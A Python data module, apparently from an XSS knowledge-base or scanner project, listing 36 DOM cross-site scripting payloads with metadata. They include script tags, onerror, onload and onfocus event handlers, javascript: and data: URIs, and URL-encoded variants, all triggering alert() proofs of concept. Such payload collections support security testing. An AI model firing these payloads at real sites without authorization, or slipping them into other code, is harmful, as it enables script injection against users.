#!/usr/bin/env python3
"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-27 UTC
Status: Refactored
Telegram: https://t.me/EasyProTech

Dom Core Payloads - Part 1
"""

from typing import Dict

from ..models import PayloadEntry


DOM_XSS_CORE_PAYLOADS_PART1: Dict[str, PayloadEntry] = {
    "dom_xss_001": PayloadEntry(
        payload="%3Cscript%3Ealert(1)%3C/script%3E",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_002": PayloadEntry(
        payload="%3Cimg%20src=x%20onerror=alert(1)%3E",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_003": PayloadEntry(
        payload="%3Csvg%20onload=alert(1)%3E",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_004": PayloadEntry(
        payload="%253Cimg%2520src=x%2520onerror=alert(1)%253E",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_005": PayloadEntry(
        payload="javascript:alert(document.domain)",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_006": PayloadEntry(
        payload="javascript:alert(location.href)",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_007": PayloadEntry(
        payload="name=<script>alert(1)</script>",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_008": PayloadEntry(
        payload="value=<img src=x onerror=alert(1)>",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_009": PayloadEntry(
        payload="data=<svg onload=alert(1)>",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_010": PayloadEntry(
        payload="callback=alert",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_011": PayloadEntry(
        payload="function=alert(1)",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_012": PayloadEntry(
        payload="?xss=<script>alert(1)</script>",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_013": PayloadEntry(
        payload="?name=<img src=x onerror=alert(1)>",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_014": PayloadEntry(
        payload="?value=<svg onload=alert(1)>",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_015": PayloadEntry(
        payload="?callback=alert",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_016": PayloadEntry(
        payload="?function=alert(1)",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_017": PayloadEntry(
        payload="?a=<script>alert(1)</script>&b=test",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_018": PayloadEntry(
        payload="?test=1&xss=<img src=x onerror=alert(1)>",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_019": PayloadEntry(
        payload="?xss=%3Cscript%3Ealert(1)%3C/script%3E",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_020": PayloadEntry(
        payload="?name=%3Cimg%20src=x%20onerror=alert(1)%3E",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_021": PayloadEntry(
        payload="?callback=javascript:alert(1)",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_022": PayloadEntry(
        payload="?redirect=javascript:alert(1)",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_023": PayloadEntry(
        payload="?url=javascript:alert(1)",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_024": PayloadEntry(
        payload="?src=javascript:alert(1)",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_025": PayloadEntry(
        payload="?callback=alert(1);//",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_026": PayloadEntry(
        payload="?jsonp=alert(1);//",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_027": PayloadEntry(
        payload="?cb=alert(1);//",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_028": PayloadEntry(
        payload="<video oncanplay=alert(1)><source src=x>",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_029": PayloadEntry(
        payload="<audio oncanplay=alert(1)><source src=x>",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_030": PayloadEntry(
        payload="<input autofocus onfocus=alert(1)>",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_031": PayloadEntry(
        payload="<select autofocus onfocus=alert(1)>",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_032": PayloadEntry(
        payload="<textarea autofocus onfocus=alert(1)>",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_033": PayloadEntry(
        payload="<button autofocus onfocus=alert(1)>",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_034": PayloadEntry(
        payload='<meta http-equiv="refresh" content="0;url=data:text/html,<script>alert(1)</script>">',
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_035": PayloadEntry(
        payload='<base href="data:text/html,<script>alert(1)</script>">',
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_036": PayloadEntry(
        payload="<keygen autofocus onfocus=alert(1)>",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
}
